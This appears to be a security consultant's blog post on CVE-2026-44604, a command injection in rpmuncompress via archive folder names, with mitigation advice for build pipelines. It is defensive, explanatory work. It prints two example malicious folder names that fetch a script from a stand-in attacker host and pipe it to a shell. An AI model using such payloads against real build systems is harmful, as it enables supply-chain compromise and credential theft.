CVE-2026-44604: `rpmuncompress` command injection via archive top-level folder name — when the path is executed as a shell argument

TL;DR — the 90-second summary

What was published?

CVE-2026-44604 (Red Hat security advisory 28 May 2026, CVSS 7.0 HIGH). Class: OS command injection (CWE-78). Mechanism: the rpmuncompress utility is used to extract non-RPM archive formats — ZIP, 7z and GEM (RubyGems). When invoked with a target directory it inserts the archive's top-level folder name into a shell command line without escaping shell metacharacters. A crafted archive with a folder name like foo$(curl attacker/x|sh) runs arbitrary commands as the user under which extraction runs.

How bad?

HIGH (CVSS 7.0). Privilege context: the user running rpmuncompress — often a build user with wide write rights on the build directory and possibly container registry tokens, SSH keys, cloud credentials. In container build steps running as root, it is root.

Which packages are affected?

The rpm package on RHEL, Rocky Linux, AlmaLinux, Fedora, openSUSE, plus the Red Hat Hummingbird pipeline and OpenShift build images (UBI, S2I builders) that use rpmuncompress in the archive-handling layer.

Am I affected?

Directly affected if rpmuncompress runs in an automated extraction step on your platform and processes archives that do not come from a source you fully control. Typical paths: CI/CD build pipelines on RHEL/Rocky/Alma, container build pipelines with UBI/S2I, Helm/OpenShift image streams.

Immediate mitigation?

Three steps. First, check rpm package state (rpm -q rpm) and lift to the Red Hat fix level (dnf update rpm). Second, in CI/CD pipelines identify the rpmuncompress calls and check whether the processed archives come from trusted sources. Third, rebuild container base images on the new rpm state.

Severity?

Hero badge high. Active exploitation as of 30 May not publicly documented.

What happened

On 28 May 2026 the Red Hat security team published an errata for the rpm package — CVE-2026-44604, CVSS 7.0 (HIGH), OS command injection in the rpmuncompress utility. rpmuncompress is a helper tool from the RPM tooling, used when unpacking source RPMs and in some build paths to extract archives into a target directory. Besides the native RPM format it supports several other archive formats, including ZIP, 7z and GEM — typically because these formats appear as source tarballs for RPM builds.

The bug sits in the code path for ZIP, 7z and GEM archives. On extraction rpmuncompress internally calls an external shell command line — e.g. unzip -d <dest>/<top-level-folder> — and inserts the top-level folder name from the archive without quoting into the command line. If this folder name contains shell metacharacters (;, |, &&, backticks, $(...)), they are executed in shell interpretation. A crafted archive whose top-level folder bears the name data$(/bin/sh -c 'curl attacker/x | sh') runs the curl call in the extracting user's shell on unpack.

The patches fix this through consistent quoting of the path values when invoking the external extraction tools. Methodologically the folder name is no longer treated as a shell token but as a function argument in the execve sense — the classic switch from system("cmd " + arg) to execve(["cmd", arg]), which structurally rules out this bug class.

Technical analysis

Structurally CVE-2026-44604 is a teaching case for an anti-pattern class that has been documented in the Unix/Linux tool world for decades and keeps recurring: invoking an external shell with a string-constructed command in which external values are interpolated. The historical list is long — shellshock (CVE-2014-6271), Samba username map script (CVE-2007-2447, which got a direct sibling pattern yesterday in CVE-2026-4408), git submodule update (CVE-2017-1000117), numerous tar/zip/archive tool bugs of the 2010s.

The methodological point with CVE-2026-44604 is the build pipeline leverage. rpmuncompress is not a tool that normal end-users invoke directly — it sits in build scripts, in spec file sections of SRPMs, in OpenShift S2I builders, in container image build pipelines. That is exactly the class of paths where supply-chain attacks bite: an attacker who can place a source tarball on a public mirror or submit a pull request with a crafted test archive sees their shell payload executed in the build pipeline — with the credentials and rights the build process has.

Third, the format-specific handling. rpmuncompress here affects explicitly ZIP, 7z and GEM — not the native RPM format. The reason is that ZIP/7z/GEM extraction is delegated to external tools (unzip, 7z, gem unpack), while the RPM-native CPIO path runs internally without shell resolution.

The link to today's situation is conspicuous. CVE-2026-44604 (28 May) and CVE-2026-4408 Samba (29 May) are both shell injection bugs in the same bug class, both from the Red Hat ecosystem, both disclosed within 24 hours.

What this means for the Mittelstand

For German Mittelstand companies, CVE-2026-44604 mainly hits the build pipeline track — the point often booked away as „an IT-internal topic“ but in fact a supply-chain discipline.

First class, most broadly relevant: CI/CD pipelines on RHEL/Rocky/Alma build hosts. Anyone running their GitLab runner, Jenkins agent or GitHub Actions self-hosted runner on a RHEL derivative and processing Composer vendor archives, RubyGems releases or other ZIP/GEM archives in the build steps has the path in the stack. Whether rpmuncompress is specifically called depends on the build script — modern pipelines often use unzip, tar, gem unpack directly; older or Red Hat-specific pipelines (especially those with rpmbuild and mock) have rpmuncompress in the path.

Second class: container build pipelines with Red Hat Universal Base Images (UBI), S2I builders or Hummingbird pipelines. Here rpmuncompress is part of the base image content. Mitigation is two-stage: the rpm package state in the base image must be updated, and the build pipeline must then also pull the new base image.

Third class, narrower: server-side upload processing, where end-user uploads go through rpmuncompress. Very rare configuration but exists in some self-service platforms.

On the compliance side the finding acts on the supply-chain axis. NIS-2 Art. 21 demands „security in the supply chain“ in the extended definition — build pipeline tools belong in that definition. An SBOM that lists only application dependencies (Composer/npm/Maven) but not the build tools (rpm, dnf, unzip, tar) has a gap exactly where supply-chain attacks land. GDPR Art. 32 is touched indirectly.

What this means for technical development

Architecturally CVE-2026-44604 and its sibling CVE-2026-4408 Samba force three disciplines.

First, execve instead of system/shell in your own code. Every codebase that invokes external tools should avoid the pattern system("cmd " + arg). Instead use execve (or the language-specific wrappers: PHP pcntl_exec, Python subprocess.run([...], shell=False), Node.js child_process.spawn([...], {shell: false}), Go exec.Command(name, args...)). The switch costs little effort and structurally rules out the whole class.

Second, build tool inventory. Which tools run in your build pipeline? Which of them parse external inputs? Which have received security advisories in the last twelve months? A one-page document „build pipeline components and their patch level“ as an appendix to the ISO 27001/ISO 42001 self-audit report makes the finding auditable.

Third, defence-in-depth for the build environment. The build pipeline is one of the most highly-privileged environments in a Mittelstand IT setup — it sees production credentials, container registry tokens, SSH keys, sometimes cloud IAM tokens. Sensible hardening: build runners in an isolated network zone, build credentials short-lived per vault issuer with TTL < 1h, push build output through a separate promotion layer into the production registry.

Concrete recommendation

In this order. First, inventory today: per RHEL/Rocky/Alma/Fedora host and per container base image check the rpm package state (rpm -q rpm). Second, patch run for the affected hosts: dnf update rpm (or the equivalent command of the distribution), for container images pull the new base image tag and rebuild the container. Third, build pipeline audit: in the CI/CD definitions (GitLab CI YAML, Jenkinsfile, GitHub Actions workflows, Tekton pipelines, OpenShift BuildConfig) grep for calls to rpmuncompress. Fourth, stopgap for paths that cannot be patched immediately: replace rpmuncompress calls with safer alternatives (unzip for ZIP, 7z x for 7z, gem unpack for GEM) until the rpm update lands. Fifth, build credential hardening: supply build runners with short-lived credentials. Sixth, document: take the build tool state as an appendix to the ISO 27001/ISO 42001 self-audit report.

If these steps do not run from your own capacity, talk to me: I deliver platforms in which build pipelines are kept as their own supply-chain class with a hardened tool chain.

This post reflects my technical and strategic assessment. It does not replace legal advice or a data protection impact assessment.

Sources

• Red Hat Customer Portal — CVE-2026-44604 (28 May 2026)
• OpenCVE — CVE-2026-44604 (as of 30 May 2026)
• CVE Threat Intelligence — CVE-2026-44604 (28 May 2026)
• Samba Project — CVE-2007-2447 (historical context, same bug class, 2007)